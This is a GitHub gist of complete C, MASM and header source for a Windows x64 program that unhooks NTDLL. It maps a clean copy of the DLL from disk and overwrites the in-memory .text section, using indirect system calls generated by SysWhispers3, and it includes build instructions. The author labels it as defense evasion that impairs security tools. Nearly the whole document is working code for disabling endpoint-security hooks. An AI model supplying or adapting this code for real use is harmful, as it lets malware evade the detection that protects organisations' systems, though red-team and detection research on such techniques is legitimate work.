Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active June 23, 2024 21:27
Show Gist options
  • Save wizardy0ga/425822d2991b79b235bead1a64be1fdd to your computer and use it in GitHub Desktop.
Save wizardy0ga/425822d2991b79b235bead1a64be1fdd to your computer and use it in GitHub Desktop.
Unhook with fresh NTDLL mapped from disk with indirect syscalls (syswhispers3)
/*
Author:
wizardy0ga
Date:
June 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Compile Instructions:
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl.exe syscalls.c main.c
link.exe /OUT:UnhookNtDllMappedFromDiskSyscalls.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj
Description:
Unhook ntdll using a copy mapped from disk with indirect system calls generated via syswhispers3
Mitre:
Execution:
T1106 - Native API
Defense Evasion:
T1562.001 - Impair Defenses: Disable or Modify Tools
*/
#include "syscalls.h"
#include "stdio.h"
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OPEN 0x00000001
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003
#define nterror(api, status) printf("[!] " api " failed with error: 0x%0.8X\n", status)
#define check(api, code, status) if (status != code) { nterror(api, status); return FALSE; }
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__);
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef VOID(NTAPI* fpRtlInitUnicodeString) (
PUNICODE_STRING DestinationString,
__drv_aliasesMem PCWSTR SourceString
);
int main() {
OBJECT_ATTRIBUTES OA = { 0 };
IO_STATUS_BLOCK IOSB = { 0 };
UNICODE_STRING String = { 0 };
LARGE_INTEGER SectionOffset = { 0 };
ULONG OldProtection = 0;
NTSTATUS Status = 0;
HANDLE hFile = NULL,
hSection = NULL;
WCHAR NtDll[] = L"\\??\\\\C:\\Windows\\System32\\NTDLL.dll";
PVOID pUnhookedNtDll = NULL,
pHookedNtDll = NULL,
pHookedTextSection = NULL,
pUnhookedTextSection = NULL;
SIZE_T ViewSize = 0,
NtDllSize = 0,
BytesWritten = 0;
PPEB pPeb = NULL;
PLDR_DATA_TABLE_ENTRY pNtDllLdrEntry = NULL;
PIMAGE_DOS_HEADER pHookedDos = NULL,
pUnhookedDos = NULL;
PIMAGE_NT_HEADERS pHookedNt = NULL,
pUnhookedNt = NULL;
printf("[+] Press enter to begin."); getchar();
/* Init unicode string structure & object attributes structure */
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
if (!RtlInitUnicodeString) {
printf("Failed to resolve address for RtlInitUnicodeString\n"); return NULL;
}
RtlInitUnicodeString(&String, NtDll);
InitializeObjectAttributes(&OA, &String, OBJ_CASE_INSENSITIVE, NULL, NULL);
/* Map ntdll into memory */
Status = Sw3NtCreateFile(
&hFile
, FILE_READ_ATTRIBUTES | GENERIC_READ | SYNCHRONIZE
, &OA
, &IOSB
, 0
, FILE_ATTRIBUTE_NORMAL
, FILE_SHARE_READ
, FILE_OPEN
, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT
, NULL
, 0
);
check("NtCreateFile", 0x0, Status);
Status = Sw3NtCreateSection(
&hSection
, STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ | SECTION_QUERY
, NULL
, NULL
, PAGE_READONLY
, SEC_IMAGE | SEC_NOCACHE
, hFile
);
check("NtCreateSection", 0x0, Status);
Status = Sw3NtMapViewOfSection(hSection, (HANDLE)-1, &pUnhookedNtDll, 0, 0, &SectionOffset, &ViewSize, ViewShare, 0, PAGE_READONLY);
check("NtMapViewOfSection", STATUS_IMAGE_NOT_AT_BASE, Status);
print("Mapped %lld byte image of %S to memory at 0x%p", ViewSize, String.Buffer, pUnhookedNtDll);
/* Get the base address of the ntdll loaded in the process at creation time. Assumes that ntdll is second entry in ldr table. */
pPeb = (PPEB)__readgsqword(0x60);
pNtDllLdrEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
pHookedNtDll = pNtDllLdrEntry->DllBase;
if (!pPeb || !pNtDllLdrEntry || !pHookedNtDll) {
printf("[!] could not locate ntdll in process environment block.\n"); return -1;
}
print("Located local ntdll base in PEB at 0x%p", pPeb);
/* Get the text sections of the local (hooked) & remote (unhooked) ntdlls */
pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDll;
if (pUnhookedDos->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Unhooked ntdll dos header mismatch. Quitting.\n"); return -1;
}
pUnhookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pUnhookedNtDll + pUnhookedDos->e_lfanew);
if (pUnhookedNt->Signature != IMAGE_NT_SIGNATURE) {
printf("Unhooked ntdll nt header mismatch. Quitting.\n"); return -1;
}
pHookedDos = (PIMAGE_DOS_HEADER)pHookedNtDll;
if (pHookedDos->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Hooked ntdll dos header mismatch. Quitting.\n"); return -1;
}
pHookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pHookedNtDll + pHookedDos->e_lfanew);
if (pHookedNt->Signature != IMAGE_NT_SIGNATURE) {
printf("Unhooked ntdll nt header mismatch. Quitting.\n"); return -1;
}
pHookedTextSection = (PVOID)((ULONG_PTR)pHookedNtDll + pHookedNt->OptionalHeader.BaseOfCode);
pUnhookedTextSection = (PVOID)((ULONG_PTR)pUnhookedNtDll + pUnhookedNt->OptionalHeader.BaseOfCode);
NtDllSize = pHookedNt->OptionalHeader.SizeOfCode;
if (!pHookedTextSection || !pUnhookedTextSection || !NtDllSize) {
printf("Failed to locate a text section in remote or local ntdll.\n"); return -1;
}
print("Found hooked text section at 0x%p", pHookedTextSection);
print("Found unhooked text section at 0x%p", pUnhookedTextSection);
/* Copy the unhooked text section into the hooked text section */
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &NtDllSize, PAGE_EXECUTE_WRITECOPY, &OldProtection);
check("NtProtectVirtualMemory [wcx]", 0x0, Status);
Status = Sw3NtWriteVirtualMemory((HANDLE)-1, pHookedTextSection, pUnhookedTextSection, NtDllSize, &BytesWritten);
check("NtWriteVirtualMemory", 0x0, Status);
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &NtDllSize, OldProtection, &OldProtection);
check("NtProtectVirtualMemory [return]", 0x0, Status);
print("Successfully unhooked ntdll! Press enter to cleanup.");
getchar();
/* Cleanup */
Status = Sw3NtClose(hFile);
check("NtClose", 0x0, Status);
Status = Sw3NtClose(hSection);
check("NtClose2", 0x0, Status);
Status = Sw3NtUnmapViewOfSection((HANDLE)-1, pUnhookedNtDll);
check("NtUnmapViewOfSection", 0x0, Status);
return 0;
}
COMMENT @
This x64 masm assembly was generated with syswhispers 3.
Reference:
https://github.com/klezVirus/SysWhispers3
@
.code
EXTERN SW3_GetSyscallNumber: PROC
EXTERN SW3_GetSyscallAddress: PROC
Sw3NtProtectVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 043510F85h ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 043510F85h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtProtectVirtualMemory ENDP
Sw3NtCreateFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 024FD7A4Eh ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 024FD7A4Eh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtCreateFile ENDP
Sw3NtCreateSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00A8E7447h ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 00A8E7447h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtCreateSection ENDP
Sw3NtMapViewOfSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C50AE1D8h ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 0C50AE1D8h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtMapViewOfSection ENDP
Sw3NtClose PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 010841DE9h ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 010841DE9h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtClose ENDP
Sw3NtWriteVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00694F3E8h ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 00694F3E8h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtWriteVirtualMemory ENDP
Sw3NtUnmapViewOfSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09099AE35h ; Load function hash into ECX.
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset.
mov r11, rax ; Save the address of the syscall
mov ecx, 09099AE35h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call.
Sw3NtUnmapViewOfSection ENDP
end
/*
Source file was generated with syswhispers3.
Reference:
https://github.com/klezVirus/SysWhispers3
*/
#include "syscalls.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
/*
Header file was generated with syswhispers3.
Reference:
https://github.com/klezVirus/SysWhispers3
*/
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
#define SW3_SEED 0xAA8EEDBA
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS Sw3NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength);
EXTERN_C NTSTATUS Sw3NtCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL);
EXTERN_C NTSTATUS Sw3NtMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect);
EXTERN_C NTSTATUS Sw3NtClose(
IN HANDLE Handle);
EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS Sw3NtUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress);
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment